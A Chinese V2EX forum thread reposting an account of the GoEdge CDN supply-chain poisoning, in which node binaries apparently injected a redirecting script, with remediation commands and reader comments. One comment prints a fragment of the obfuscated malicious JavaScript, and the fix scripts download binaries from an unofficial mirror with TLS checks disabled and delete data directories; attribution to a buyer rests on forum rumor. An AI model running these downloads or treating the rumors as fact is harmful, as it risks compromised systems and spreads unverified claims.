GoEdge “官方”投毒与供应链投毒恐有关及解决方案

154 天前
 Nyarime

在奶昔论坛上曾转载过 54yt 的一篇《供应链投毒后,我们的选择还剩下哪些》,于是昨天大半夜有许多 GoEdge 用户表示,自己部署的 CDN 会插入一段来自 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的代码,其中内容不寒而栗:

图片来源: https://www.nodeseek.com/post-138160-1

前言

从超哥(其开发者)写出 GoEdge 至今,版本更迭到 v1.3.9 。这套 CDN 系统被许多 CDN 商家采用,毕竟它开源又免费,却在今年 4 月被请去喝茶后,goedge.cn 便重定向至 goedge.cloud ,而 goedge.cn 的备案号被注销、转出,甚至 whois 主体发生变化。

原实名信息:刘祥超
原 ICP 备案信息:刘祥超
现实名信息:莫坤秀
现 ICP 备案信息:已注销

而超哥在 QQ 群的最后消息为 2024 年 5 月 20 日。

之后 5 月 24 日发布的包中则带有上文提到的 cdn.jsdelivr.vip 的内容于节点( edge-node )的二进制文件中,一直到今日发版的 v1.4.1 。

供应链关系

查了一下 cdn.jsdelivr.vip 的 cname 指向,猜测和方能那伙人是同一伙

关于做了什么,hostloc 上面也有: https://hostloc.com/thread-1327962-1-1.html

可以说 js 代码跳 h 站就是这群人干的。

被卖了吗

有群友发现 GoEdge v1.3.9 的编译环境为 go1.21.10 ,与目前最新版的环境不同。故引发大家对 GoEdge 被出售的猜测。

而超哥用于销售商业版的淘宝店铺关闭,转而要客户前往 Telegram 找 @GoEdge 进行购买。据群友所描述,客服态度怠慢。

而唯一的联系方式就是 Telegram 的群组和客服,在 v1.4.0 发版时,特地强调了“过墙”的功能

而过墙是什么,想必不用多说了

临时发版

有群友进行二进制分析,发现 edge-node v1.4.1 版本二进制文件中存在上述恶意代码。但 GoEdge 客服在其 Telegram 群中表示“不信谣不传谣”后开始踢人

随后对 v1.4.1 重新编译,发布了无毒版本的 GoEdge v1.4.1

由图可以发现,这段 https://cdn.jsdelivr.vip/jquery.min-3.7.0.js 的引用在新的版本已被去除。(在此建议作者发布时,写好 MD5 、SHA1 、CSC32 信息,以免导致大家误会)

修复业务

由于许多人在使用该产品的时候,时不时跳 h 站。若您是 2024 年 5 月 24 日之后安装的 v1.3.9 (或更高版本),请立即更新。虽然刚刚官方发了 v1.4.1 的修正版本,一旦信任崩塌就难以重建。这里提供一个可行的恢复方案。

重装主控

  1. hosts 屏蔽 goedge.cloud 和 goedge.cn 防止程序更新
echo "127.0.0.1 goedge.cloud" | sudo tee -a /etc/hosts > /dev/null
echo "127.0.0.1 goedge.cn" | sudo tee -a /etc/hosts > /dev/null
cat /etc/hosts
  1. 回退主控( edge-admin )版本至 v1.3.9
# x86_64 (amd64)
edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-amd64-plus-v1.3.9.zip
# aarch64 (arm64)
edge-admin upgrade --url=https://dl.naixi.net/cdn/goedge/goedgecn/edge-admin-linux-arm64-plus-v1.3.9.zip
  1. 删除 api-node/deploy 目录内的 dge-node-linux-amd64-v1.3.9.zip 和 dge-node-linux-arm64-v1.3.9.zip 文件,然后在目录下执行
# x86_64 (amd64)
wget -O edge-node-linux-amd64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip
# aarch64 (arm64)
wget -O edge-node-linux-arm64-v1.3.9.zip https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-arm64-plus-v1.3.9.zip
  1. 主控节点重装即可(一般到这步就修复完啦)

节点修复

若上述第 4 步主控节点重装过于麻烦,这边提供一键指令

适用于安装在/root/edge-node ( arm 节点请将 amd64 更改为 arm64 )

rm -rf /usr/local/goedge
cd /root/edge-node
curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
./edge-node/bin/edge-node stop
rm -rf ./edge-node/data
rm -rf ./edge-node/bin
rm -rf  /opt/cache
unzip -o edge-node-linux-amd64-plus.zip
./edge-node/bin/edge-node restart
rm -rf *.zip

适用于安装在/usr/local/goedge ( arm 节点请将 amd64 更改为 arm64 )

rm -rf /root/edge-node
cd /usr/local/goedge
curl -L "https://dl.naixi.net/cdn/goedge/goedgecn/edge-node-linux-amd64-plus-v1.3.9.zip" --insecure -o edge-node-linux-amd64-plus.zip -C - -#
./edge-node/bin/edge-node stop
rm -rf ./edge-node/data
rm -rf ./edge-node/bin
rm -rf  /opt/cache
unzip -o edge-node-linux-amd64-plus.zip
./edge-node/bin/edge-node restart
rm -rf *.zip

结语

虽然 GoEdge 已更换主体,且官方已经发布了不带毒的版本。但我们仍要知道供应链投毒的危害。即使是免费、开源的项目也有可能成为坏项目,毕竟世界上没有免费的午餐。

希盘上的 GoEdge 存档资源: https://dl.naixi.net/cdn/goedge/goedgecn/

dl.naixi.net 上的 goedgecn 文件夹为超哥失联前所构建的最后版本,转自 DigitalVirt 的备份,即 v1.3.9 。而历史版本可以在 DigitalVirt 小老板的 Google Drive 存档找到: https://drive.google.com/drive/folders/1-2JbKiNy-MWF7RLnIUIRXiT-AE37rUDx

本文转载自奶昔论坛: https://bbs.naixi.net/thread-110-1-1.html

4574 次点击
所在节点    Go 编程语言
13 条回复
Xinu
154 天前
可怕 可怕
inhzus
154 天前
关注
wbrobot
154 天前
“不带毒的版本” = “没有恶意 URL 明文的版本”
elboble
154 天前
上面是 jsdeliver.vip 的,这个域名就不对,混淆了,不过格式依然看得出是什么
unction a0_0x2d3434(_0x49c2b,_0x195cd1,_0x28f735,_0x279b74,_0x28707a){var a0_0x4b6b30={_0xff235f:0x3e7};return a0_0x2e66(_0x28f735- -a0_0x4b6b30._0xff235f,_0x49c2b);}function a0_0x8f6f(){var _0xffd4f6=['WOZcUSonWOar','6lAk54YV54+F5P2f','mCojW5v1jW','AJFcRItcVW','54QW56cO54Y4va','W4BdUSk5lfi','WPBdQSoemwi','5B+m5AsV5lUO5lY9','5BMH5Pws5AcB5AwI','W6RdJCkFW6f+WQ1bW6VdL8odWPK','wCo8W4ldGsK','dv3LHPhOTAu','y8kTWRz/uG','5ykj54Qj5B6N5yQT','6iYZ5AYq6ksc6Ao7','5BYJ5PYm5lQn5zcy','5y+L5y285lUN54Ip','6kYT6lAi5AAN6zgC','ySohWQ3dIgi','5lYN6ik46l6u6lw+','hXJcRd/cRW','5l6S556pWRO','5Bck5AwR55Ur5Pox','WOK5W7L1WOu','5zUa5BcM5ywo56g7','6ywl5BQT5ycX5OIN','W4ldRSoqiSog','WQJdKSkqWOyG','uGJdP8o6Aq','56Au5yIX5A+z6iMq','5zcj5z+/57MJ54ot','6AU66iop5lQS54U/54s7','6AQC56A8546U5A2W','5yU45P6Z5PsF56oO','vNGoWRi','55Y85zQM5OUB55Aj6ikO','CNTicq','d048','5Awh6AQ05lUX55wd','dfmYCJW','5Q6Z54UH56AB5yUF5lYr','55Mg5Asf5Pw25lIh5lUe','WOtdKmo1te4','W4jzcdTdduztW7dcHCoPaW','WQ/dIJ8AaG','Cv8NWO4','W7rNk8kUaq','6BYP5ywa5zc156EwWQK','5lI957Ul5l+655gA','5y+55RQN54k26BUw6BQL','5Awx56YPWR4','5R626zEz5yAO5zg15B2E','55UR5BoZ5AAQ54ck6kA/','5P2m5yss5lY05AMK','5Q2H5Rsw5P63','hY7cHGdcGq'。。。。。
FrankAdler
153 天前
找到一个可能是 web.51.la 的源站 ip: 111.31.45.10 ,没有 hostloc 账户,有的可以帮忙评论到那个帖子里
devliu1
153 天前
可怕,持续关注
Nyarime
153 天前
删除 api-node/deploy 目录的内容要全部删掉
daimaosix
153 天前
这玩意没必要发,知道什么意思吗
flyqie
153 天前
@daimaosix #8

感觉应该发到跟之前帖子差不多的分享发现上,哪怕发在信安也是能理解的。

看完全文发现似乎除了项目是 go 写的以外没有什么涉及到 go 的内容,发到 go 版似乎有点不太合适。
keepRun
152 天前
可怕
lysShub
152 天前
为什么会被请去喝茶
Suyun114
137 天前
在搜索引擎中查找 方能 可以搜到 funnull.net 。里面有一些让人在意的句子。

> 这正是我需要声明的一点,方能 CDN 公司以及 ACB 集团与本人及家人无任何关系,近日有不少公司联系到我的家人并威胁他们,认为方能 CDN 公司通过客户域名使用渗透和镜像技术偷窃会员资料和资金交易等相关重要信息,并通过租售服务器的方式窃取客户程序,此事与本人及家人无关,还请联系方能 CDN 公司解决。
>
> 事件:2024 年 4 月,goedge 被方能收购,同年 7 月,方能在 goedge 1.3.9 以及之后的版本中植入 js 劫持跳转代码,并在之后的版本中留有后门。
Nyarime
16 天前
@Suyun114 后面他们在深圳弄了一家 FlexCDN 的公司,也可以关注下
https://forum.naixi.net/forum.php?mod=viewthread&tid=1069

相当于是 GoEdge 1.4.2 的版本了,从 1.0.4 后也是加了后门改在线授权
他那授权服务器只要死了,所有正版用户都会波及

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1060326

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX